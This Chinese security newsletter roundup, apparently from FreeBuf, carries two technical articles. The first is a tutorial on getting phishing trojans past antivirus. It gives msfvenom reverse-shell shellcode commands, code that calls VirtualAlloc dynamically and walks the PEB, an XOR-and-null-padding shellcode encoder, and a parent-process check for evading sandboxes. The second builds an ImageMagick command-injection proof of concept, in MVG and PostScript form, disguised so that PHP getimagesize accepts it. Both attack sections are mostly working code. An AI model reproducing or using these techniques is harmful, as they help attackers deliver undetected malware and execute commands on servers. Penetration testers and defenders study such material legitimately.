【全球动态】

1.美国国土安全部警告小型飞机的CAN总线漏洞

美国国土安全部网络安全部门(CISA)今天发布了一份安全警报,警告小型飞机的所有者可以利用这些漏洞来改变飞机遥测。这些漏洞存在于航空电子设备(安装在飞机上的电子设备),更具体地说是在小型飞机的CAN总线内。[外刊-阅读原文]

2.Telegram推出针对巴西政客使用语音邮件攻击的修复程序

Telegram在周末推出了修复程序,以防止黑客滥用语音邮件帐户以获取对其他用户帐户的访问权限。这种被称为“语音邮件攻击”或“语音邮件劫持”的伎俩在过去几个月中被用于访问巴西的1000多个Telegram账户,包括属于当地政客的账户。[外刊-阅读原文]

3.微软收购软件安全公司BlueTalon:简化Azure数据隐私和治理

微软宣布收购软件安全公司BlueTalon,以进一步简化现代化数据之间的数据隐私。BlueTalon团队表示目前已经开始为Azure数据开发深度数据隐私解决方案,并且为其他现代化数据平台提供自家的统一数据访问控制解决方案。[阅读原文]

4.LAPD数据泄露致2500名警官个人信息被盗

据悉大约有2500名洛杉矶警察局(LAPD)警官和17500名LAPD求职者的个人信息在一次数据泄露被盗。NBCLA周一援引数位官员的话称,被盗信息包括姓名、电子邮件地址、出生日期、部分职工序列号及密码。[阅读原文]

5.欧盟:用户点“赞”不代表允许网站向FB传输个人资料 需承担法律责任

在网页上放置“赞”功能的网站要小心了,欧盟法院周一做出判决,在未取得用户同意下,透过点赞功能将资料传送给脸书的网站也有法律责任,不论他有没有按下赞。这是欧洲最高法院做出的意见。本案源自德国线上服饰经销站长Fashion ID在其网站上嵌入了脸书点“赞”键,让造访网站消费者的个人资料,都会被传送到脸书爱尔兰公司,不论消费者本身是不是脸书用户,或是否亲自点了“赞”的按钮。[阅读原文]

6.德国信任华为5G设备 将采取多种方法对应潜在风险

虽然华为被美国列入“实体清单”之中,但是德国在使用华为下一代5G硬件和通信协议时,对所有潜在的担忧都不屑一顾。在与这家中国电信巨头沟通的过程中,华为公司设计了几种方案和做法,以减轻所谓的风险和危险。[阅读原文]

7.部分企业伪造法庭命令试图改变 Google 搜索结果

在美国,唯一能让 Google 删除搜索结果链接的方法是法庭命令。对数以千计的法庭命令的调查发现,为了诱骗 Google 改变搜索结果有数十个法庭命令被发现是伪造的。伪造的命令通常是将一个法庭命令的法官签名复制到另一个,有些伪造的命令过于明显了,其案例编号是 1-2-3-4-5-6-7-8-9。一些人伪造命令是为了清理掉网上的差评,还有一些则试图让别人忘记他们儿童性犯罪的历史。在 60 多个伪造文件中,有 11 个伪造了俄亥俄州汉密尔顿县法官的签名。[阅读原文]

【安全事件】

1.谷歌公布6个重大iOS漏洞:可通过iMessage发动攻击

谷歌旗下安全团队Project Zero的两名成员日前公布了影响iOS系统的6个“无交互”安全漏洞中其中5个的详细信息和演示用攻击代码。据悉,这6个“无交互”安全漏洞可通过iMessage客户端发动攻击。[阅读原文]

2.Chrome 76 稳定版发布:禁用 Flash、监听扩展等

Chrome 76 稳定版发布,这个最新的版本带来了一些重大的变化。在默认情况下,Flash 是禁用的,并且网站将无法检测你是否在使用隐私模式。[阅读原文]

3.数据显示微软Windows Defender成为最好的防病毒软件之一

根据德国研究所AV-TEST的安全研究人员进行的一项研究,Windows Defender现在是全球领先的反病毒产品之一。微软不是一个安全厂商,其主要目标是构建高级软件解决方案来阻止恶意软件和网络攻击,但是由于该公司最近在Windows Defender中付出的努力,让Windows 10内置的防病毒软件向前迈出了重要的一步。成为全球领先的反病毒产品之一。[阅读原文]

4.研究人员破解监控系统以显示假视频源

安全研究人员分析建筑中使用的物联网设备中存在的安全漏洞,其中包括监控系统,攻击者可以通过漏洞发起攻击,使用任意镜头替换真实的视频源。[外刊-阅读原文]

5.个人信息保护合规评估工具发布上线

由中国电子技术标准化研究院开发的个人信息保护合规评估工具30日正式发布上线。据了解,这一工具将为企业免费提供App隐私条款评估、个人信息保护合规自查等在线服务。该工具是依据个人信息保护相关法律法规和标准要求开发的一款面向企业免费开放、提供个人信息保护合规自查评估服务的工具。[阅读原文]

6.不同意获取个人信息就“闪退”,网友吐槽12306 App

近日有不少网友吐槽铁路官方APP“铁路12306”,称不同意获取个人信息就“闪退”。报道称,最新版本的12306 App在首次启动时会显示一个页面,称在使用12306时,可能会获取部分必要的个人信息,以提供相关基本服务。这些个人信息包括:定位信息、使用相机、相册和推送权限这4项。[阅读原文]

7.2名黑客多次侵入多地房管局系统 凉山警方破获倒卖房主信息案

德昌县公安局近日成功破获一起涉及川、渝两地近千个楼盘50余万条公民个人信息泄露案,购买公民个人信息的资金达230余万元,捣毁一横跨川、渝两地倒卖房主个人信息的团伙,抓获犯罪嫌疑人36名。7月25日,深挖出2名电脑黑客已被德昌县人民检察院批准逮捕。[阅读原文]

【优质文章】

1.解构网络战:发生在第五维空间的战争离你并不遥远

随着信息和网络技术的飞速发展,互联网已渗透到人类生活的方方面面,并对国家安全、军事斗争以及战争形态产生了重大而深远的影响,网络空间已成为与陆、海、空、天并列的第五维空间领域。[阅读原文]

2.Imagemagick邂逅Getimagesize的那点事儿

imagemagick和ghostscript的漏洞层出不穷,也在侧面辅助了黑盒渗透与PHP代码审计,待下一次0day爆发,也可以利用这个技巧进行盲测。[阅读原文]

3.网信办网络安全协调局副局长胡啸:要加快出台数据安全法

中央网信办网络安全协调局副局长胡啸表示,数据已经成为经济社会的重要资源,现在地方和企业发展大数据的积极性都很高,但是安全风险也很大。一方面,存在大量的超范围收集个人信息和用户数据的情况,另外一方面,重要数据和个人信息泄露滥用的事件时有发生。因此,胡啸提出需要加快出台数据安全法、数据安全管理办法等一系列法律法规,规范数据采集、存储、使用、共享相关的活动。[阅读原文]

4.“零信任”安全体系架构和实践

当涉及到大宗利益和公共利益的时候,往往是另一种机制在发挥作用:零信任机制。比如战略情报、重大选举、法律规章制订、多重鉴权(权限审批)等,都是基于零信任体系的运行机制,其前提假设就是没有人可以被天然信任。[阅读原文]

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

实战演习中,攻击方需要通过各种手段对企业的相关资产进行渗透,挖掘企业资产里存在的漏洞进行得分。近年来这种漏洞挖掘的攻防比赛好像都以 web 方面的为主,可能 web 中存在的漏洞较多,得分点也较多吧。不过,除了 web 之外, apt 攻击也是一种不错的攻击手法,而且运气好的话直接就进了内网。在 apt 攻击中,用的较多的大概就是钓鱼邮件了吧。而钓鱼成功与否一方面和钓鱼文案的诱人程度以及木马的免杀是否到位有着密切的关系。下面介绍下常见的一些免杀技巧。

0×1 shellcode动态加载

Shellcode 中的代码较为敏感,如果代码中有太多的攻击代码,很容易会被杀软抓到特征进行查杀,而且这种方式做免杀很不好做。所以我们需要将主要的攻击代码单独的编译并静态的存储在数据段中,代码块中只保留一些人畜无害的代码,然后在程序执行的时候申一处可执行的内存,再将这块攻击代码拷贝到申请的内存中执行,这样才能够尽量降低被查杀的概率。那么问题来了, shellcode 如何生成呢?你如果牛逼的话,可以自己编写,如果图方便的话,可以使用 msf 生成。一般的生成 payload 命令可以参考如下:

1 、 msfvenom -p windows/meterpreter/reverse_http-e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=[your remote ip addres] LPORT=[listeningport] -f c >hacker.c

2 、 msfvenom -p windows/meterpreter/reverse_tcp-e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=[your remote ip addres]LPORT=[listening port] -f c >hacker.c

3 、 msfvenom -p windows/meterpreter/reverse_tcp_rc4-e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=[your remote ip addres]LPORT=[listening port] -f c >hacker.c

这里提供使用 msf 生成 shellcode 的例子,其中使用 revers_tcp_rc4 可以对回话进行加密,对免杀有一定帮助。这里我们生成的是一串 16 进制的字节数组,我们可以将它加入到我们的 vs 项目中,在程序运行的时候进行动态加载即可执行 shellcode 。

0×2 敏感API动态调用

有一些杀软会对 IAT ( Import AddressTable ,即导入地址表,顾名思义, iat 表中存放着程序中调用的来自外部动态链接库的函数地址)表中的一些敏感函数做检查。比如 fireeye 。经过代码定位排查后发现, Fireeye 会对 virtualalloc 这个函数进行校验。 Virtualalloc 函数的作用是申请内存,而这里我们之所以用到 virtualalloc 的一个原因是,我们需要设置内存的可执行属性,这一点很重要,如果我们 shellcode 拷贝到的内存块没有执行权限的话,那么我们的 shellcode 是无法执行的。

那么我们要如何 bypass fireeye 的检测呢?这里的解决办法是,通过动态调用 API 函数的方式来调用 virtualalloc 函数。具体的做法是, load kernel32.dll 库,从 kernel32 库中取得 virtualalloc 函数在内存中的地址,然后执行。这部分的功能可以通过下面的代码实现:

       HMODULE hModule =LoadLibrary(_T("Kernel32.dll"));

       HANDLE shellcode_handler;

       FARPROC Address = GetProcAddress(hModule,"VirtualAlloc");//拿到virtualalloc的地址

       _asm

       {

              push 40h  //push传参

              push 1000h

              push 29Ah

              push 0

              call Address  //函数调用

             movshellcode_handler, eax

       }

       memcpy(shellcode_handler, newshellcode,sizeof newshellcode);

       ((void(*)())shellcode_handler)();

这样在 iat 表中就不会出现 virtualalloc 这个函数的地址了。但是,我们解决了 virtualloc 这个麻烦之后,有一个麻烦出现了。我们在动态调用 virtualalloc 时使用了 loadLibrary 这个函数,蛋疼的是有的杀毒公司会将 loadLibrary 函数视为敏感的函数,比如俄罗斯的 VBA32 。但是,将 loadLibrary 函数作为查杀的依旧,这未免也太野蛮了, 不过,如果要解的话,或许可以用下 virtualprotect 函数,直接修改数据段的可执行属性,然后在程序执行的时候直接跳转到这个内存地址上去执行。那么问题又来了, virtualprotect 这个函数应该也是不少杀软狠盯的 api 吧。所以,问题最终还是要解决这个loadLibrary函数。其实获取kernel32.dll库地址并不一定要通过loadLibrary的,也可以从PEB中进行获取的,可以通过以下代码进行获取:

_asm {

mov esi, fs:[0x30]//得到PEB地址

mov esi, [esi + 0xc]//指向PEB_LDR_DATA结构的首地址

mov esi, [esi + 0x1c]//一个双向链表的地址

mov esi, [esi]//得到第二个条目kernelBase的链表

mov esi, [esi]//得到第三个条目kernel32链表(win10)

mov esi, [esi + 0x8] //kernel32.dll地址

mov hModule, esi

}

果然,这种方法是可以过掉vba32的,但是问题又来了,有些厂商会对这段代码进行检测的,比如fortinet公司的杀毒引擎就会对这段代码进行检测。不过,这是基于机器码的检测,而针对机器码匹配的话基本是进行模式匹配的,所以我们只要在代码中加一些nop指令即可,具体的代码如下:

_asm {

mov esi, fs:[0x30]//得到PEB地址

NOP

NOP

NOP

NOP

NOP

mov esi, [esi + 0xc]//指向PEB_LDR_DATA结构的首地址

NOP

NOP

NOP

NOP

mov esi, [esi + 0x1c]//一个双向链表的地址

NOP

NOP

NOP

NOP

mov esi, [esi]//得到第二个条目kernelBase的链表

NOP

NOP

NOP

mov esi, [esi]//得到第三个条目kernel32链表(win10)

NOP

NOP

mov esi, [esi + 0x8] //kernel32.dll地址

NOP

NOP

mov hModule, esi

}

就问这波操作骚不骚,哈哈。

0×3 shellcode加密

免杀效果好不好,最主要的是就是 shellcode 的加密了。那么,杀软是如何找到我们的 shellcode 呢?又是如何对我们的 shellcode 进行查杀的呢?为什么我的 shellcode 加密了还是会被查杀呢?

我们来看下编译后的 shellcode 在 pe 文件中是什么样子的。首先我们知道,字符串数组初始化的内容是存放在 PE 文件的 rdata 节区中的。下面是 ida 视图:

其对应的 pe 文件的 hex 信息如下:

从 B8 开始往下 665 字节即我们的 shellcode 。杀毒软件应该就是在这里寻找的字符串特征值。

我们看下这个 shellcode 是在哪里进行引用的:

我们可以看到,这里有一个字符串拷贝的操作。即从 &unk_402108 这个地址处的开始,拷贝 0xa65 个字节到 v15 这个地址处。 0xa65 即十进制 2661 ,正好是我们的 shellcode 长度 + 一个 ‘\0’ 字符,即 2660+1 。而这里 0×229 即十进制 665 ,是我们的解密之后的 shellcode 的长度。

这里是解密代码:

相应的加密代码是:

defgenerate_payload(shellcode):

       ba=bytearray(shellcode)

       newshellcode=[]

       res=''

       for b in ba:

              nchar="\\"

              b=b^113^0x77

              b=hex(b)

              for i in range(1,len(b)):

                     nchar=nchar+b[i]

              res=res+nchar

              newshellcode.append(nchar)

       trash="\\x00"

       nnshellcode=[]

       for i in range(4*len(newshellcode)):

                     if i%4==0: #ou

                            nnshellcode.append(newshellcode[int(i/4)])

                     else:

                            nnshellcode.append(trash)

       fres=''

       for i in nnshellcode:

              fres=fres+i

       print(fres)

简要说明下加密代码,这里是先将 shellode 和 113 以及 0×77 进行异或,再在 shellcode 中相邻的两个字节中填充三个 \x00 (空字节)。实测,这种方式是可以过掉所有的 meterpreter payload 的检测的。我猜哈,杀软应该是收集了一大波的 meterpreter 的 hex 特征,作为恶意攻击代码的识别依据。他们可能会对这些特征代码进行进一步异或变形,进而匹配到更多的潜在的攻击代码。所以,网上那些异或一下,十行代码就免杀,肯定是不靠谱的,最多免杀一两天。而在相邻的字节中间插入 \x00 ,这样有效的避开那些 hex 特征码。想想也对,你总不至于将一堆的空字节作为查杀依据吧。这里为什么要用 \x00 ,而不用其他的呢?我的考虑是,杀软收集的那些特征码可能跟多的是 ef 11 3a ed 这种连续的非空字节,而 ef 00 00 00 这种一般是不会拿来作为特征码的。那么随机的在两个字节中填充自定义的字节,比如 a1 a2 a3 a4 呢,这种情况是有一定概率被匹配到的,毕竟杀软的特征库很庞大,就算误报几个也很正常。所以,综合考虑还是填充空字节好点。

然而我还是太天真了,现在的杀软不仅仅是基于这些特征值的匹配的。昨天信心满满的空字节填充免杀之后,今天又被 360 杀了。那么到底是什么原因免杀的呢?我猜应该是 virustotal 上的这些引擎对扫描的检测结果彼此之间是有共享的,或者说有些杀软会先比对本地特征库,比对不到的话直接上传到 virustotal ,让 virustotal 分析一波,如果报毒的话,再对样本特征进行提取。当然某些杀软不会傻到直接 md5 存库里完事了,还是会做一些相似度分析的。依据在哪里呢,我之前的 00 填充的那个马被杀后,我将原来 payload 进行了异或变异,结果还是被杀了,按理说如果是 md5 特征比对的话,肯定是杀不了的,所以肯定是做了相似度分析了,我原来的 shellcode 是将原来相邻的两个字节填充上 3 个空字节。它的相似度分析应该是将我的 shellcode 进行了多次异或,然后取特征值。为了验证我的想法,我将 00 空字节的填充位数改为 9 个,果然又免杀了。本来我想着,既然能够知道样本是病毒,那么为什么不对其中的结构特征进行识别呢?难道这些 payload 只是做异或加密? rsa 和 des 就不说了,一些古典加密算法也有可能哈。我觉得最起码要对这些 shellcode 中的一些常见结构特征进行识别吧,比如 shellcode 的每一个字节是以等差数列或者其他形式进行存储的,我们就可以对这种结构做一个特征识别,为什么要做结构识别呢?这工作量不是很大吗?有多少种可能的结构。其实我觉得,最起码要识别出在一片连续的区域内存在着一种特殊的情况,那就是一个字节和另一个字节之间相隔了多个相同的字节,这种情况下就很可能就是被垃圾数据填充的 shellcode 。而且这些数据填充相同的字节,是为了防止被类似 yara 或者 clamav 这种静态 hex 特征匹配到,这是误报,很冤。所以,我觉得可以将这些填充的特征码去掉,然后将这些去掉垃圾数据的特征码再进一步进行组合。

0×4 虚拟机反调试

那么问题来了,如何对抗云沙箱的检测呢?我们知道,很多杀软都有自己的后端云沙箱,这些沙箱能够模拟出软件执行所需的运行环境,通过进程hook技术来对软件执行过程中的行为进行分析,判断其是否有敏感的操作行为,或者更高级的检测手法是,将获取到的程序的API调用序列以及其他的一些行为特征输入到智能分析引擎中(基于机器学习org)进行检测。所以,如果我们的木马没有做好反调试,很容易就被沙箱检测出来。

我这个马目前只有9k大小,完全有可能被上传到云端的沙箱里检测。所以,我们还需要做一些反调试的操作,阻碍云沙箱的行为检测。最简单的反调试的措施就是检测父进程。一般来说,我们手动点击执行的程序的父进程都是explore。如果一个程序的父进程不是explor,那么我们就可以认为他是由沙箱启动的。那么我们就直接exit退出,这样,杀软就无法继续对我们进行行为分析了。具体的实现代码如下:

DWORD get_parent_processid(DWORD pid)

{

       DWORDParentProcessID = -1;

       PROCESSENTRY32pe;

       HANDLEhkz;

       HMODULEhModule = LoadLibrary(_T("Kernel32.dll"));

       FARPROCAddress = GetProcAddress(hModule, "CreateToolhelp32Snapshot");

       if(Address == NULL)

       {

              OutputDebugString(_T("GetProc error"));

              return-1;

       }

       _asm

       {

              push0

              push2

              callAddress

              movhkz, eax

       }

       pe.dwSize= sizeof(PROCESSENTRY32);

       if(Process32First(hkz, &pe))

       {

              do

              {

                     if(pe.th32ProcessID == pid)

                     {

                            ParentProcessID= pe.th32ParentProcessID;

                            break;

                     }

              }while (Process32Next(hkz, &pe));

       }

       returnParentProcessID;

}

DWORD get_explorer_processid()

{

       DWORDexplorer_id = -1;

       PROCESSENTRY32pe;

       HANDLEhkz;

       HMODULEhModule = LoadLibrary(_T("Kernel32.dll"));

       if(hModule == NULL)

       {

              OutputDebugString(_T("Loaddll error"));

              return-1;

       }

       FARPROCAddress = GetProcAddress(hModule, "CreateToolhelp32Snapshot");

       if(Address == NULL)

       {

              OutputDebugString(_T("GetProc error"));

              return-1;

       }

       _asm

       {

              push0

              push2

              callAddress

              movhkz, eax

       }

       pe.dwSize= sizeof(PROCESSENTRY32);

       if(Process32First(hkz, &pe))

       {

              do

              {

                     if(_stricmp(pe.szExeFile, "explorer.exe") == 0)

                     {

                            explorer_id= pe.th32ProcessID;

                            break;

                     }

              }while (Process32Next(hkz, &pe));

       }

       returnexplorer_id;

}

void domain() {

       DWORDexplorer_id = get_explorer_processid();

       DWORDparent_id = get_parent_processid(GetCurrentProcessId());

       if(explorer_id == parent_id)//判断父进程id是否和explorer进程id相同

       {

              dowork();

       }

       else {

              exit(1);

       }

}

这里主要的思路是获取调用kernel32库中的CreateToolhelp32Snapshot函数获得一个进程快照信息,然后从快照中获取到explorer.exe的进程id信息,然后通过当前进程的pid信息在进程快照中找到其父进程的id信息,最后将两者进行比较,判断当前进程是否是有人工启动的。当然,反调试的措施不仅仅是检测父进程,还可以通过调用windows的API接口IsDebuggerPresent来检查当前进程是否正在被调试。检测反调试的话,还可以通过检查进程堆的标识符号来实现,系统创建进程时会将Flags置为0×02(HEAP_GROWABLE),将ForceFlags置为0。但是进程被调试时,这两个标志通常被设置为0x50000062h和0x40000060h。当然还可以利用特权指令in eax,dx来做免杀。

最后秀一下在virustotal上检测的成绩:

0×5 后记

当然,随着病毒检测技术的不断改进,现在的病毒检测技术已经引入了一些机器学习的技术了,比如使用二类支持向量机对正常软件和恶意软件进行分类,以及使用多类支持向量机对蠕虫,病毒,木马和正常软件进行分类等等。这种利用机器学习来对病毒进行检测的技术前提是需要收集整理足够数量的样本的特征数据,比如针对注册表的行为,开机自启动的行为,隐藏和保护自身的行为,进程行为,文件行为,以及网络行为等等,一般来说,这些行为特征是可以体现在程序的 API 调用序列中的,所以,很多学术论文中会以程序的 API 调用序列作为主要的行为特征训练集,通过不断优化算法,相信这种通过海量数据训练而获得的病毒查杀能力的技术应该会是之后杀毒引擎的主要方向。但是魔高一尺,道高一丈,我觉得免杀和查杀之间应该是一种相生相克相互促进的关系,这几天也就算初窥免杀之门吧,相信还有更多高级的免杀手法等待我们去发现。

*本文作者:[email protected],本文属 FreeBuf 原创奖励计划,未经许可禁止转载

前段时间写的文章,在微博上说7月底结束分享一下,总算可以发了。感谢 @voidfyoo 提出的这个问题。

今天遇到一个代码,大致如下:

<?php
$filename = $_FILES['image']['tmp_name'];
$size = getimagesize($filename);
if ($size && $size[0] > 100 && $size[1] > 100) {
    $img = new Imagick($_FILES['image']['tmp_name']);
    $img->cropThumbnailImage(100, 100);
    $img->writeImage('newimage.gif');
}

用户上传的文件如果大于100px,则用Imagick处理成100×100的缩略图,再存储在硬盘上。

通过这个代码,我们很容易想到用Imagemagick的漏洞进行测试,但这里前面对图片大小用getimagesize进行了限制,之前爆出来的那些POC均无法通过校验,因为getimagesize并不支持类似PostScript、MVG这样的图片格式。

这时候我们怎么绕过这个限制呢?

0×01 Imagemagick命令执行不完全回顾

Imagemagick历史上曾出现过的很多命令执行漏洞,我在vulhub里做过以下三个:

1.CVE-2016-3714

2.CVE-2018-16509

3.CVE-2019-6116

第一个是Imagemagick在处理mvg格式图片时导致的命令注入,后两个都是在处理PostScript文件时因为使用了GhostScript,而GhostScript中存在的命令注入。

Imagemagick是一个大而全的图片处理库,他能处理日常生活中见到的绝大多数图片格式,比如jpg、gif、png等,当然也包括日常生活中很少见到的图片格式,比如前面说的mvg和ps。

这三个漏洞的具体原理网上很多文章也分析过,我这里就不再分析了,但我们思考一下:一个文件交给Imagemagick处理,他是怎么知道这是哪种格式的图片,并如何处理呢?

显然需要一个方法来区分文件类型,而单纯用文件名后缀来判断是不合理的(文件后缀并不是构成文件名的必要元素),常规的做法就是通过文件头来判断。

随便翻一下Imagemagick的代码,我就发现大多数文件格式的处理中,通常有一个函数,用来判断这个文件是否是对应的格式。

比如:

// coders/ps.c
static MagickBooleanType IsPS(const unsigned char *magick,const size_t length)
{
  if (length < 4)
    return(MagickFalse);
  if (memcmp(magick,"%!",2) == 0)
    return(MagickTrue);
  if (memcmp(magick,"\004%!",3) == 0)
    return(MagickTrue);
  return(MagickFalse);
}

// coders/mvg.c
static MagickBooleanType IsMVG(const unsigned char *magick,const size_t length)
{
  if (length < 20)
    return(MagickFalse);
  if (LocaleNCompare((const char *) magick,"push graphic-context",20) == 0)
    return(MagickTrue);
  return(MagickFalse);
}

这两个函数就是判断文件是否是postscript和mvg格式。很显然,他这里是通过文件头来判断,也就是说,如果想让Imagemagick用ps的处理方法来处理图片,这个图片的前几个字节必须是%!或\004%!。

这也很好理解,文件头的意义就是标示这个文件是什么类型的文件。

所以,如果我们想利用Imagemagick的命令执行漏洞,必须要给他传入一个合法的mvg或ps文件,或者至少文件头要满足要求。

0×02 深入getimagesize

通过翻阅PHP文档,可知getimagesize支持的图片类型有:GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM,WBMP:

那么这时候就犯难了,ps和mvg并不在其中。如果我们传入一个ps文件,getimagesize处理时就会失败并返回false,那么就不会执行到Imagick那里。这种方法也是当初ImageTragick漏洞出现时,很多文章推荐的缓解措施。

似乎很安全,不过我们应该深入研究一下getimagesize究竟是如何处理图片的。

下载php源码,ext/standard/image.c这个文件是关键,看到如下函数:

static void php_getimagesize_from_stream(php_stream *stream, zval *info, INTERNAL_FUNCTION_PARAMETERS) /* {{{ */
{
    int itype = 0;
    struct gfxinfo *result = NULL;

    if (!stream) {
        RETURN_FALSE;
    }

    itype = php_getimagetype(stream, NULL);
    switch( itype) {
        case IMAGE_FILETYPE_GIF:
            result = php_handle_gif(stream);
            break;
        case IMAGE_FILETYPE_JPEG:
            //...
        case ...

可见,这里逻辑是首先用php_getimagetype(stream, NULL)来获取图片格式,然后进入一个switch语句,根据格式来分配具体的处理方法。

看看PHP是如何获取图片格式的:

PHPAPI int php_getimagetype(php_stream * stream, char *filetype)
{
    char tmp[12];
    int twelve_bytes_read;

    if ( !filetype) filetype = tmp;
    if((php_stream_read(stream, filetype, 3)) != 3) {
        php_error_docref(NULL, E_NOTICE, "Read error!");
        return IMAGE_FILETYPE_UNKNOWN;
    }

/* BYTES READ: 3 */
    if (!memcmp(filetype, php_sig_gif, 3)) {
        return IMAGE_FILETYPE_GIF;
    } else if (!memcmp(filetype, php_sig_jpg, 3)) {
        return IMAGE_FILETYPE_JPEG;
    } else if (!memcmp(filetype, php_sig_png, 3)) {
        if (php_stream_read(stream, filetype+3, 5) != 5) {
            php_error_docref(NULL, E_NOTICE, "Read error!");
            return IMAGE_FILETYPE_UNKNOWN;
        }
        if (!memcmp(filetype, php_sig_png, 8)) {
            return IMAGE_FILETYPE_PNG;
        } else {
            php_error_docref(NULL, E_WARNING, "PNG file corrupted by ASCII conversion");
            return IMAGE_FILETYPE_UNKNOWN;
        }
    } else if (!memcmp(filetype, php_sig_swf, 3)) {
        return IMAGE_FILETYPE_SWF;
    } else if (!memcmp(filetype, php_sig_swc, 3)) {
        return IMAGE_FILETYPE_SWC;
    } else if (!memcmp(filetype, php_sig_psd, 3)) {
        return IMAGE_FILETYPE_PSD;
    } else if (!memcmp(filetype, php_sig_bmp, 2)) {
        return IMAGE_FILETYPE_BMP;
    } else if (!memcmp(filetype, php_sig_jpc, 3)) {
        return IMAGE_FILETYPE_JPC;
    } else if (!memcmp(filetype, php_sig_riff, 3)) {
        if (php_stream_read(stream, filetype+3, 9) != 9) {
            php_error_docref(NULL, E_NOTICE, "Read error!");
            return IMAGE_FILETYPE_UNKNOWN;
        }
        if (!memcmp(filetype+8, php_sig_webp, 4)) {
            return IMAGE_FILETYPE_WEBP;
        } else {
            return IMAGE_FILETYPE_UNKNOWN;
        }
    }

    if (php_stream_read(stream, filetype+3, 1) != 1) {
        php_error_docref(NULL, E_NOTICE, "Read error!");
        return IMAGE_FILETYPE_UNKNOWN;
    }
/* BYTES READ: 4 */
    if (!memcmp(filetype, php_sig_tif_ii, 4)) {
        return IMAGE_FILETYPE_TIFF_II;
    } else if (!memcmp(filetype, php_sig_tif_mm, 4)) {
        return IMAGE_FILETYPE_TIFF_MM;
    } else if (!memcmp(filetype, php_sig_iff, 4)) {
        return IMAGE_FILETYPE_IFF;
    } else if (!memcmp(filetype, php_sig_ico, 4)) {
        return IMAGE_FILETYPE_ICO;
    }

    /* WBMP may be smaller than 12 bytes, so delay error */
    twelve_bytes_read = (php_stream_read(stream, filetype+4, 8) == 8);

/* BYTES READ: 12 */
    if (twelve_bytes_read && !memcmp(filetype, php_sig_jp2, 12)) {
        return IMAGE_FILETYPE_JP2;
    }

/* AFTER ALL ABOVE FAILED */
    if (php_get_wbmp(stream, NULL, 1)) {
        return IMAGE_FILETYPE_WBMP;
    }
    if (!twelve_bytes_read) {
        php_error_docref(NULL, E_NOTICE, "Read error!");
        return IMAGE_FILETYPE_UNKNOWN;
    }
    if (php_get_xbm(stream, NULL)) {
        return IMAGE_FILETYPE_XBM;
    }
    return IMAGE_FILETYPE_UNKNOWN;
}

这个函数很长,首先从流里读了3个字节,进行了一批判断(用memcmp对比),其实也就是对比图片头;如果没找到,则再读取一个字节,对比4个字节长度的图片头;如果还没找到,再读取8个字节,看图片是否是jp2格式;如果还不是,则用php_get_wbmp与php_get_xbm两个函数判断图片是否是wbmp与xbm格式。

前面比较文件头的部分,已经和Imagemagick漏洞利用条件冲突了,毕竟一个文件不可能既是ps文件头,又是gif文件头,那么只能寄希望于php_get_wbmp与php_get_xbm两个函数。

php_get_wbmp是没戏的,因为他要求第一个字节必须是\x00:

static int php_get_wbmp(php_stream *stream, struct gfxinfo **result, int check)
{
    int i, width = 0, height = 0;

    if (php_stream_rewind(stream)) {
        return 0;
    }

    /* get type */
    if (php_stream_getc(stream) != 0) {
        return 0;
    }

那么看一下php_get_xbm:

static int php_get_xbm(php_stream *stream, struct gfxinfo **result)
{
    char *fline;
    char *iname;
    char *type;
    int value;
    unsigned int width = 0, height = 0;

    if (result) {
        *result = NULL;
    }
    if (php_stream_rewind(stream)) {
        return 0;
    }
    while ((fline=php_stream_gets(stream, NULL, 0)) != NULL) {
        iname = estrdup(fline); /* simple way to get necessary buffer of required size */
        if (sscanf(fline, "#define %s %d", iname, &value) == 2) {
            if (!(type = strrchr(iname, '_'))) {
                type = iname;
            } else {
                type++;
            }

            if (!strcmp("width", type)) {
                width = (unsigned int) value;
                if (height) {
                    efree(iname);
                    break;
                }
            }
            if (!strcmp("height", type)) {
                height = (unsigned int) value;
                if (width) {
                    efree(iname);
                    break;
                }
            }
        }
        efree(fline);
        efree(iname);
    }
    if (fline) {
        efree(fline);
    }

    if (width && height) {
        if (result) {
            *result = (struct gfxinfo *) ecalloc(1, sizeof(struct gfxinfo));
            (*result)->width = width;
            (*result)->height = height;
        }
        return IMAGE_FILETYPE_XBM;
    }

    return 0;
}

这函数主要是一个大while循环,遍历了文件的每一行。从这里也能看出,xbm图片是一个文本格式的文件,而不像其他图片一样是二进制文件。

如果某一行格式满足#define %s %d,那么取出其中的字符串和数字,再从字符串中取出width或height,将数字作为图片的长和宽。

逻辑很简单呀,文本格式,而且没有限制文件头,只要有某两行可以控制即可。这和我们Imagemagick的POC差别并不大,显然是可以兼容的。

0×03 编写同时符合getimagesize与Imagemagick的POC

理论基础结束,我们来编写一下POC吧。

首先拿出原mvg格式的POC:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context

我们只需要在后面增加上#define %s %d即可:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200

用存在漏洞的imagemagick进行测试,命令成功执行:

ps也一样,我们借助CVE-2018-16509的POC进行构造:

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

/test {
#define xlogo64_width 64
#define xlogo64_height 64
}

用getimagesize成功获取图片大小:

用存在漏洞的imagemagick+GhostScript进行测试,命令成功执行:

0×04 后记

本来想写一下Discuz下的利用的,但是鉴于某条例的规定,漏洞分析不能乱发,再加我粗略找到的利用链本身也不太完整,有一些条件限制,并不是特别好,所以就不献丑了。

事实上这个技巧在刚过去的实战中有用到,并不局限于Discuz或某个CMS。因为imagemagick和ghostscript的漏洞层出不穷,也在侧面辅助了黑盒渗透与PHP代码审计,待下一次0day爆发,也可以利用这个技巧进行盲测。

*本文原创作者:PHITHON,本文属于FreeBuf原创奖励计划,未经许可禁止转载

当前,中国科技金融的发展已从单纯的市场开拓阶段进入到了基于风险防范的发展阶段。7月31日,在第五届互联网安全领袖峰会(Cyber Security Summit,简称CSS 2019)金融安全专场上,腾讯安全联合第一财经发布了《2019上半年科技金融安全报告》(以下简称《报告》),通过科技金融安全大数据的分析发现,在金融监管、金融风控和金融基础安全建设层面,都面临数字化转型的安全挑战。

